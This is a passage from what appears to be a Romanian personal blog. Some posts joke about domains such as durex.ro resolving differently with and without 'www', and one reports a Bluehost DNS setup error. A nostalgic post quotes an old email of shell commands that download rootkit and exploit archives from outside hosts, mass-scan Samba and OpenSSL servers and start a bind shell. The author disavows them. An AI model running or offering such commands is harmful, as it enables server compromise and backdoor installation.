Ping request could not find host nissan.ro. Please check the name and try again

Pinging www.nissan.ro [193.231.208.54] with 32 bytes of data:

Request timed out.

Nu inteleg , de ce unii administratori de domenii hosteaza in felul asta? O fi mai interesant un subdomeniu www.. decat numele simplu al domeniului?  Practic , daca utilizatorul nu scrie www`ul in fata domeniului nissan.ro ,  site-ul nu poate fi accesat. nissan.ro si www.nissan.ro  (testat pe IE7. Firefox din cate vad pune automat www. daca nu gaseste domeniul.)  .

Si totusi nissan.ro e un caz fericit , in comparatie cu DUREX. La ei sunt doua site-uri bine delimitate. Unul pe domeniu si un altul pe www.

durex.ro -   sex protejat folosind :  pantofi, sandale, paupuci, etc incaltaminte.

www.durex.ro - daca varianta de pe durex.ro nu a protejat indeajuns de bine , e mai indicat sa folosesti un prezervativ.

Imi imaginez un dialog:

Eugen: De unde ai cumparat pantofii aia?

Eu: De pe durex.ro !

Bun. Papapuci din latex si prezervativ blanit pe interior. Probabil ca in acest fel  , firma care vinde materiale de constructii in Nehoiu (SC DUREX SRL) o sa-si faca site pe subdomeniul de webmail al durex.ro . sau.. de ce nu pe ns1.durex.ro ?! Ar fi mai …protejati. ;)  

PS. Intr-o situatie asemanatoare cu durex.ro se gaseste si domeniul de la Apple.

apple.ro - Integrated Romanian Information Systems (I.R.I.S) SA

www.apple.ro - Apple Romania IMC

… IP-uri . Cum vine asta?

Dns resolved ns1.bluehost.com to 74.220.195.31
Dns resolved 209.63.57.200 to ns1.bluehost.com

Bind reload skipped on ***** (nameserver disabled) Bind reload skipped on ns0 (nameserver disabled) The subdomain, lanebuni.****.ro has been added.
Error from park wrapper: Using nameservers with the following IPs: 74.220.195.31,69.89.16.4 Sorry, the domain is already pointed to an IP address that does not appear to use DNS servers associated with this server. Please transfer the domain to this servers nameservers or have your administrator add one of its nameservers to /etc/ips.remotedns and make the proper A entries on that remote nameserver.
Removed Entry from httpd.conf The subdomain, lanebuni.*****.ro has been removed.
lanebuni.ro could not be setup.

If lanebuni.ro is already registered, your name servers should be as follows:

Name Server: NS1.BLUEHOST.COM
Name Server: NS2.BLUEHOST.COM

LaNebuni.ro a fost inregistrat la RNC cu ns1.bluehost.com [74.220.195.31] si ns2.bluehost.com [69.89.16.4] . Nu inteleg cum  la DNS vad doua IP-uri / NS . In mod normal ar fi datele de mai sus dar la whois vad altele.

Uhmm..? Ce fac ? Stie cineva pe unde e buba? Nu pot hosta domeniul …  Nu am inteles de ce la RNC apar alte IP-uri / ns .

O noua zi de luni, un nou inceput de saptamana care nu anunta nimic spectaculos deocamdata. M-am trezit destul de tarziu si ca de obicei, imi deschid pc-ul si citesc mail-urile in compania unei cafele :-) . Nimic interesant in inbox. Mi-am aruncat privirea la spatiul ocupat pe yahoo si am fost putin surprins … 22% of 1GB. Multe mail-uri pastrate prin foldere care nu au fost deschise decat odata si asta in urma cu mult timp.

Am facut putina ordine (care a durat mai bine de o ora), si am surpriza sa gasesc niste mail-uri salvate de mine de pe niste adrese mai vechi. Mergand din aproape in aproape si incercand minute bune sa-mi aduc aminte parolele de la vechile casute de e-mail (ce mai mare prostie sa-ti schimbi o adresa de e-mail), am vazut un mail cu subiectul ROOT ! DOAMNEEEE ! ce minte aveam acum cativa ani si ce era de capul meu ! Hacker nu gluma ! :-)
Extras dintr-un mail:

To: rootXXX@yahoo.com, XXXX@i-cs.ro, XXX@yahoo.com
Subject: #root
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: Internet Messaging Program (IMP) 3.1
Content-Length: 1380
tar vf smb.tar.gz
cd smb
./start Clasa
wget www.awayms.as.ro/rewt.tgz
wget geocities.com/alinsimadi/china.tar.gz
wget www.linuxm.as.ro/x1.tgz | tar zxvf x1.tgz |
cd atd | ./mass -s 800
dupa ce prinzi ./osslmass2 mass.log
scan.tgz | cd new | ./scan ip ( samba)
wget www.linuxm.as.ro/bind.tgz | tar zxvf
bind.tgz | ./b2 | bind pentru
apache port telnet 3130
wget www.linuxm.as.ro/rk.tar.gz | tar zxvf
[....]

Sper sa nu le mai foloseasca nimeni in ziua de azi, mai ales ca scopul lor era cat se poate de “war” si consecintele “dureroase” atat pentru instituriile care au fost sparte cat si pentru pentru “atacator” daca este prins. NU se merita sa spargi un server pentru o tampenie de psyBNC (mIRC) sau pentru simpla “pasiune”.
Din simpla curiozitate totusi am vrut sa verific ceva. Am gasit cateva dns-uri care au fost sparte si constat ca nici astazi institutii din US nu sunt securizate si pot pica prada in orice moment unui copil dintr-o sala de net. Chiar nu inteleg…Universatile din Chicago (Loyola si UCLA), chiar nu au bani de investit in securitate, nu au resurse umane capabile sa securizeze un linux sau nu sunt interesati?
En fine … bine ca mi-am gasit alte preocupari. Adio I24 !